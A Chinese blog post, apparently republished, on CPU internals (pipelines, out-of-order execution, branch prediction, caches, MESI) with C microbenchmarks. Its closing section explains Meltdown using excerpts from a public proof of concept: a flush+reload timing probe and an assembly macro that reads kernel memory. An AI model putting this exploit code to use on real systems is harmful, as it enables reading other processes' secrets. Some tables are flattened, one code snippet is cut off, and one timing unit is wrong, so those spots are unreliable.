本文共 9573 字,大约阅读时间需要 31 分钟。
关键技术 | 时间 | 描述 |
---|---|---|
指令缓存(L1) | 1982 | 预读多条指令 |
数据缓存(L1) | 1985 | 预读一定长度的数据 |
流水线 | 1989 | 一条指令被拆分由多个单元协同处理, i486 |
多流水线 | 1993 | 多运算单元多流水线并行处理, 奔腾1 |
乱序+分支预测 | 1995 | 充分利用不同组件协同处理, 奔腾Pro |
超线程 | 2002 | 引入多组前端部件共享执行引擎, 奔腾4 |
多核处理器 | 2006 | 取消超线程,降低时钟频率,改用多核心, Core酷睿 |
多核超线程 | 2008 | 重新引入超线程技术,iX系列 |
现代CPU上有很多个计算元件,有逻辑运算,算术运算,浮点运算,读写地址等,一条机器指令由多个元件共同协作完成,比如i486的五级流水线中,一条指令就被分解为如下几个阶段:取址,解码,转译,执行,写回。
一条CPU指令由多条机器指令组成,CPU的一个震荡周期,是指这些基础指令对应元件执行的周期,我们可以简单地认为,一个时钟周期的震荡驱动处理器上的所有部件做一次操作,CPU的主频一般就是指这震荡(时钟)周期的频率。
现代计算机的主频已经逐渐接近物理极限,主频的大小受限于晶体管工艺,流水线级数,功耗等一系列指标。
由于一条指令由多个元件协作执行,一条指令进入某一阶段,则后面的元件都处于空闲状态,指令在执行的过程中只会有一个元件繁忙,其他元件都是空闲的,所以为了充分解放各个部件的使用,提高利用率,引入了流水线处理机制。
i486开始引入流水线的概念,把一条指令拆成了5个部分,当一个指令进入下一阶段,CPU可以直接加在下一条指令,这样所有的单元都被充分利用起来。
流水线级数越高,每个元件做的事情越少,时钟周期也就可以做的越短,吞吐量就会越高,目前的主流处理器有高达14级流水线
但是这样仍然会有一些CPU的空闲存在,被称为流水线气泡
: 在流水线处理中出现部分元件空闲等待的情况
为了解决流水线气泡,CPU尝试把后续的指令提前加载处理,充分解放,1995年引入了乱序执行策略,可以不按顺序的执行指令。
乱序执行引入了 微指令(μOP) 的概念,由于操作粒度拆分更细,流水线被进一步升级为“超标量流水线”,高达12级,进一步提高了性能。
拆分后的 μOP 进入重排队列,由调度器调度各个单元并行执行,每个单元只要数据准备完毕即可开始处理。
但是乱序执行打破了分支判断的有序性,也就是可以提前执行if else while等jmp相关指令的操作,而完全不等待判断指令的返回,CPU引入了一个分支判断出错则回滚现场的机制,但是这个机制的代价是巨大的,要清空流水线重新取地址。
为了解决乱序执行的分支判断回滚带来的性能损耗,引入了分支预测模块,该模块的工作原理和缓存很像,存储一个分支判断指令最近多次的判断结果,当下次遇到该指令时候,预测出后续走向,改变取指阶段的走向。
在引入引入乱序技术后,指令的准备阶段(Front中的取指,转义,分支判断,解码等)仍大于执行阶段,导致取指译码繁忙而逻辑运算单元空闲,于是CPU把这一部分拆成前端单元(Frontend),引入多前端的超线程技术。
超线程技术是建立在乱序执行技术上,多个前端翻译好的 μOP一起进入重排Buffer, 共享ROB单元,从而共享执行引擎。
我们可以简单地认为,Frontend决定逻辑核数量,Execution决定物理核数量
后续Inter引入多核心技术后,降低了CPU主频缩短流水线,增加每个单元的工作,企图通过多核心的优势来简化架构,短暂的取消了超线程技术(多个总比一个好),后续又重新加入,渐渐变成了现在常见的CPU的多核超线程的CPU架构。
Cache Line可以简单的理解为Cache之间最小换入换出单元,在64位机器上一般是64B,也就是用6位表达。通常寄存器从Cache上读数据是以字为单位,Cache之间的更新是以Line为单位,即使只写一个字的数据,也要把整个Line写回到内存中。
在组关联的Cache系统中,判断一个Cache是否命中一般分为两个阶段,内存被分为三个部分
所以一次Cache寻址通过一次偏移+一次遍历即可定位,组关联通过调整路数来平衡Cache命中率和查询效率
Cache一致性是指,各个核心的Cache以及主内存的内容的一致性,这一部分由CPU以一个有限状态机通过单独的总线通信保证。 英特尔使用协议是MESI协议。
MESI协议把Cache Line分解为四种状态,在不同的Cache中,分别有这几种状态
同时对于导致状态出现迁移的的事件也分为四种,任何时
Local Write
事件触发,本地独占数据写入后变成独占且被修改Remote Read
事件触发,由于其他核心要读,所以要先写入内存,一致后变成多核心共享 SharedLocal Write
事件触发,多核共享,写入后变成独占修改,同时给核心状态变成 InvalidLocal Write
事件触发,无效变成本地有效且独占,同时其他核心变成 InvalidRemote Write
事件触发,其他核心写入了数据,本地数据变成无效Remote Read
事件触发,其他核心要读,所以要先写入内存,一致后变成多核心共享 SharedRemote Write
事件触发,其他核心写入了数据,本地数据变成无效Local Read
事件触发,且当其他核心没有数据时Local Read
事件触发,且当其他核心数据有数据时Remote Write
事件触发,其他核心写入了数据,本地数据变成无效再谈内存屏障
我们通常会把内存屏障理解成解决各个核之间的Cache不同步带来的问题,其实CPU已经通过硬件级别解决了这个问题。
内存屏障主要解决的是编译器的指令重排和处理器的乱序之行带来的不可预测性,告诉编译器不要在再屏障前后打乱指令,同时也告诉处理器在屏障前后不要乱序执行。
测试说明:代码中 v_1 v_2 中的数字代表循环内展开的数量,比如
do { L0: a = b; } while (i++ <= MAX);
do { L0: a = b; L1: a = b; } while (i++ <= MAX);
同时这些测试是为了验证CPU的,所以为了防止编译器优化加了很多迷惑的判断和标记,所有测试数据来自本地开发机测试。
int main() { int a = 0; int b = 1; long i = 0; long MAX = 10000000000; // 1B switch(0) { x(0); } do { asm("DUMMY1:"); L0: a = b; asm("DUMMY2:"); } while (i++ <= MAX); return 0;}
当把循环展开(总mov次数不变),我们可以看到执行时间会迅速缩短
Case | Time | Desc |
---|---|---|
mov_v_1 | 15.8 (3) | |
mov_v_2 | 8.5 (1.5) | 去除循环开销,流水线提高运算效率 |
mov_v_3 | 5.4 (1) | 两个运算单元可以并行处理 |
mov_v_4 | 4.4 (0.75) | |
mov_v_8 | 4.1 (0.375) | |
mov_v_10 | 3.6 (0.3 ) | |
mov_v_100 | 3.3 (0.03) | 和v_10 差距接近于循环的开销 |
通过 v_10 和 v_100 我们可以简单计算出,一次jmp的开销在 0.3 nm 左右
int main() { int a = 0; int b = 1; int a0 = 0; long i = 0; long MAX = 10000000000; // 1B switch(0) { x(0); } do { asm("DUMMY1:"); L0: a = a + b; L1: a0 = a0+b; asm("DUMMY2:"); } while (i++ <= MAX); return 0;}
Case | Time | Desc |
---|---|---|
add_v_1 | 16.7 | |
add_v_10 | 17.0 | 10倍循环展开,数据有依赖无法流水线并行执行 |
add_v_10_2 | 8.6 | 两个互不干扰的加法,两个运算单元可以并行处理 |
add_v_10_3 | 8.3 | 三个互不干扰的加法,只有两个运算单元达到上限 |
这个例子中,第二次的 "a=a+b" 必须依赖第一次返回,前后有数据依赖无法充分利用流水线最大化并行处理,当引入第二个a0后,两个加法互不影响,则计算速度接近翻倍。
Case | Time | Desc |
---|---|---|
mul_v_1 | 23.9 | 乘法的指令周期大于加法指令周期 |
mul_v_10 | 24.0 | 10倍循环展开,数据有依赖无法并行执行 |
mul_v_10_2 | 12.7 | 两个互不干扰的乘法,只有两个运算单元达到上限 |
编译器可以通过位移操作+ADD优化乘法
无符号常量的除法可以等价于乘法+位移,但是对于变量必须用DIV运算符
int main(){ // Generate data int arraySize = 100000000; // 0.1B int* data = new int[arraySize]; for (int c = 0; c < arraySize; ++c) data[c] = std::rand() % 256; // Test std::sort(data, data + arraySize); clock_t start = clock(); long sum = 0; for (int c = 0; c < arraySize; ++c) { if (data[c] >= 128) sum += data[c]; } double elapsedTime = static_cast(clock() - start) / CLOCKS_PER_SEC; delete[] data; printf("%f", elapsedTime);}
Case | Time | Desc |
---|---|---|
if_p_sort | 0.21 | |
if_p_nosort | 0.71 | 预测相同指令的结果 |
随机数组会导致 if 判断的预测变得不可预知,通过对数组重排,可以让CPU分支预测命中率达到100%,从而大幅度的减少流水线回退机制,提高乱序执行的吞吐量能力。
int main() { int a = 0; int b[] = { 1, 1, 1, 1, 1, 1, 1}; long i = 0; long MAX = 1000000000; // 1B switch(0) { x(0); } do { asm("DUMMY1:"); L0: if(b[0] > 0) { a ++; a ++; a ++; a ++; a ++; } else { a--; a--; a--; a--; a--; } asm("DUMMY2:"); } while (i++ <= MAX); return 0;}
int main() { int a = 0; int b[] = { 1, 0 , 0, 1, 0, 1, 1}; long i = 0; long MAX = 1000000000; // 1B switch(0) { x(0); } do { asm("DUMMY1:"); L0: if( b[0] < 0) { a--; a--; a--; a--; a--; } else { a++; a++; a++; a++; a++; } asm("DUMMY2:"); } while (i++ <= MAX); return 0;}
Case | Time | Desc |
---|---|---|
if_t | 26 | 分支预读无跳转 |
if_f | 29 | 分支预读跳转,中断重新加载 |
if else判断会被汇编成 jle 等指令,if的部分紧挨着 jle指令,else的部分被放在后面,所以当
CPU预读指令乱序执行,首先会预执行jle后续的指令,当判断生效后再决定是否清除现场跳转到else所以在执行效率上,只命中 else 的指令会比只命中 if 的指令慢一点。C++中的 LIKELY / UNLIKELY 针对于此优化,通过把高命中率的分支上提到 jmp 附近。
本测试中两者分支预测总是正确但仍然有不小的性能差异,我推测是因为分支预测成功后干扰指令的读取顺序,这一部分本身相比较直接顺序读取也是有开销的。
for(K = 1;K < 64*1024;K *= 2) { begin = gettime(); for(int i = 0;i
这个测试通过循环遍历一个大数组来测试CacheLine边界对性能的影响,每一次遍历的步长从一个CPU字长(8Byte)开始,然后翻倍,64B,128B,256B... 等等,然后循环次数减半。当步长在一个CacheLine中,在这个CacheLine内部的循环会全部命中Cache,跨域Line后才会去下一级Cache中或者内存中读取数据。
我们看到当K=8 到 K=16 时,即使循环减半耗时反而增加,因为K=8时刚好是一个CacheLine的边界,当跨域这个边界,每次循环都要跨越一级(没命中的话)去下一级Cache中load数据。
cpu指令周期本身很短,大部分时间只需要关注热点部分的代码
熔断利用现代操作系统的乱序执行的漏洞,乱序会执行到一些非法的代码,但是系统中断需要时间,数据可能已经读入Cache,在通过把数据转换为探测Cache的读写速度来确定数据内容。
Meltdown涉及到上述CPU几个特性, 利用熔断原理,可以访问内核空间上的地址,也就是可以访问任意物理地址,这就代表可以跨进程的非法访问别的进程中的数据。
这里介绍了一下GITHUB上IAIK学院的一个的攻击原理,下面是核心代码以及执行过程
熔断的探测代码如下:
int __attribute__((optimize("-Os"), noinline)) libkdump_read_signal_handler() { size_t retries = config.retries + 1; uint64_t start = 0, end = 0; while (retries--) { if (!setjmp(buf)) { // 设置长跳转回调 MELTDOWN; // 熔断!!!! } int i; // 操作系统中断,进入这里继续执行 for (i = 0; i < 256; i++) { // 每隔一页读取一个byte测试哪一页读取速度最快 if (flush_reload(mem + i * 4096)) { if (i >= 1) { return i; } } sched_yield(); } sched_yield(); } return 0;}static int __attribute__((always_inline)) flush_reload(void *ptr) { uint64_t start = 0, end = 0; start = rdtsc(); // 记录开始时间 maccess(ptr); end = rdtsc(); // 记录结束时间 flush(ptr); // 刷回内存 if (end - start < config.cache_miss_threshold) { // 测试时间差 return 1; } return 0;}
熔断的核心代码如下,也就是上面的 MELTDOWN 宏 :
#define meltdown_nonull \ asm volatile("1:\n" \ // 假设 *phy = 'a' (0x61) "movzx (%%rcx), %%rax\n" \ // 尝试读取内核地址上的数据到rax, $rax = 0x61 "shl $12, %%rax\n" \ // rax << 12 == 0x61*4K ,ZF = 0 "jz 1b\n" \ // 为0则跳转到1,b代表向后, 总是跳转 "movq (%%rbx,%%rax,1), %%rbx\n" \ // 读一个word到($rbx+$rax+1) 到 mem,等价于mem + 0x61*4K + 1 ,刷新cache : \ : "c"(phys), "b"(mem) \ // $rcx = phy, $rbx=mem, $rax inuse : "rax");
用户可以通过 /proc/pid/pagemap 找到当前进程逻辑地址对应的物理地址,然后再通过内核的高端内存映射,把物理地址转换成内核用的逻辑地址,内核的逻辑地址的分页在内核段,地址也是内核地址,这部分用户本来是没权限访问的,通过熔断可以探测这部分地址的内容。
参考文献:
转载地址:http://exezx.baihongyu.com/